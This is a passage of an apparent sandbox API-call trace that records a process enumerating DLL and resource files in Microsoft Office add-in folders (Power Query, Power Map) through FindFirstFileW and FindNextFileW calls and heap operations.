ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.016] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc34bb5b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc34bb5b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc34bb5b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0091.016] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4abf9f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0091.016] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d2a978, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d50bdc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x36aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0091.016] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4692737, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4692737, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x96aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0091.016] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4692737, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4692737, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x96aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0091.016] FindClose (in: hFindFile=0x3b8b448 | out: hFindFile=0x3b8b448) returned 1 [0091.017] GetProcessHeap () returned 0x11a0000 [0091.017] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0091.017] FindNextFileW (in: hFindFile=0x3b8b288, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HANS", cAlternateFileName="")) returned 1 [0091.017] GetProcessHeap () returned 0x11a0000 [0091.017] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0091.017] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b408 [0091.020] FindNextFileW (in: hFindFile=0x3b8b408, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.020] FindNextFileW (in: hFindFile=0x3b8b408, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9992797, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9992797, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0091.021] FindNextFileW (in: hFindFile=0x3b8b408, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x23aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0091.021] FindNextFileW (in: hFindFile=0x3b8b408, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4692737, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4692737, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0091.021] FindNextFileW (in: hFindFile=0x3b8b408, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x680214, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0091.021] FindNextFileW (in: hFindFile=0x3b8b408, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x680214, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 0 [0091.021] FindClose (in: hFindFile=0x3b8b408 | out: hFindFile=0x3b8b408) returned 1 [0091.022] GetProcessHeap () returned 0x11a0000 [0091.022] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0091.022] FindNextFileW (in: hFindFile=0x3b8b288, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HANT", cAlternateFileName="")) returned 1 [0091.022] GetProcessHeap () returned 0x11a0000 [0091.022] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0091.022] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANT\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b488 [0091.025] FindNextFileW (in: hFindFile=0x3b8b488, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.025] FindNextFileW (in: hFindFile=0x3b8b488, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa5581c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xdaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0091.025] FindNextFileW (in: hFindFile=0x3b8b488, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c1f8d1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x25040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0091.025] FindNextFileW (in: hFindFile=0x3b8b488, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00af60a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x30040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0091.025] FindNextFileW (in: hFindFile=0x3b8b488, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12b7378, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12b7378, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x80040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0091.025] FindNextFileW (in: hFindFile=0x3b8b488, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12b7378, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12b7378, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x80040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0091.025] FindClose (in: hFindFile=0x3b8b488 | out: hFindFile=0x3b8b488) returned 1 [0091.026] GetProcessHeap () returned 0x11a0000 [0091.026] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0091.026] FindNextFileW (in: hFindFile=0x3b8b288, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HANT", cAlternateFileName="")) returned 0 [0091.026] FindClose (in: hFindFile=0x3b8b288 | out: hFindFile=0x3b8b288) returned 1 [0091.026] GetProcessHeap () returned 0x11a0000 [0091.026] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b757a8 | out: hHeap=0x11a0000) returned 1 [0091.027] FindNextFileW (in: hFindFile=0x3b8b048, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="bin", cAlternateFileName="")) returned 0 [0091.027] FindClose (in: hFindFile=0x3b8b048 | out: hFindFile=0x3b8b048) returned 1 [0091.028] GetProcessHeap () returned 0x11a0000 [0091.028] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0091.028] FindNextFileW (in: hFindFile=0x3b8b688, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3688, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1 [0091.028] FindNextFileW (in: hFindFile=0x3b8b688, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133819a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSEC.XML", cAlternateFileName="")) returned 1 [0091.028] FindNextFileW (in: hFindFile=0x3b8b688, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSPC.ECF", cAlternateFileName="")) returned 1 [0091.028] FindNextFileW (in: hFindFile=0x3b8b688, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x238ed8d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x238ed8d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2984c3b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x25c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="otkloadr_x64.dll", cAlternateFileName="OTKLOA~1.DLL")) returned 1 [0091.028] FindNextFileW (in: hFindFile=0x3b8b688, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x786, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTEX.ECF", cAlternateFileName="")) returned 1 [0091.028] FindNextFileW (in: hFindFile=0x3b8b688, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTEX2.ECF", cAlternateFileName="")) returned 1 [0091.028] FindNextFileW (in: hFindFile=0x3b8b688, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c5a96a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc7c80c48, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x156c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLVBA.DLL", cAlternateFileName="")) returned 1 [0091.028] FindNextFileW (in: hFindFile=0x3b8b688, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMAILEXT.ECF", cAlternateFileName="")) returned 1 [0091.028] FindNextFileW (in: hFindFile=0x3b8b688, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf016e209, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power Map Excel Add-in", cAlternateFileName="POWERM~1")) returned 1 [0091.028] GetProcessHeap () returned 0x11a0000 [0091.028] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0091.029] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power Map Excel Add-in\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf016e209, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName=".", cAlternateFileName="")) returned 0x3b8b448 [0091.268] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf016e209, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="..", cAlternateFileName="")) returned 1 [0091.269] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x520cca6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x520cca6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x143040, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="DATATRANSFORMERWRAPPER.DLL", cAlternateFileName="DATATR~1.DLL")) returned 1 [0091.269] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b61d36, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42270, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="EXCELPLUGINCORE.DLL", cAlternateFileName="EXCELP~3.DLL")) returned 1 [0091.269] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf016e209, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf016e209, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0194432, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1354e8, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="EXCELPLUGINDATAPROVIDER.DLL", cAlternateFileName="EXCELP~1.DLL")) returned 1 [0091.269] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cd5a2f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cfbc75, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b4c0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="EXCELPLUGINSHELL.DLL", cAlternateFileName="EXCELP~2.DLL")) returned 1 [0091.269] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5e43de4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5e43de4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6164f96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31a898, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="MICROSOFT.DATA.RECOMMENDATION.CLIENT.CORE.DLL", cAlternateFileName="MICROS~1.DLL")) returned 1 [0091.269] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x23428c3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x23428c3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2984c3b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2bea8, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="MICROSOFT.DATA.RECOMMENDATION.COMMON.DLL", cAlternateFileName="MICROS~2.DLL")) returned 1 [0091.269] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1814809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe878, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="POWERMAPCLASSIFICATION.DLL", cAlternateFileName="POWERM~1.DLL")) returned 1 [0091.270] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2662a44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2662a44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2f072e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, 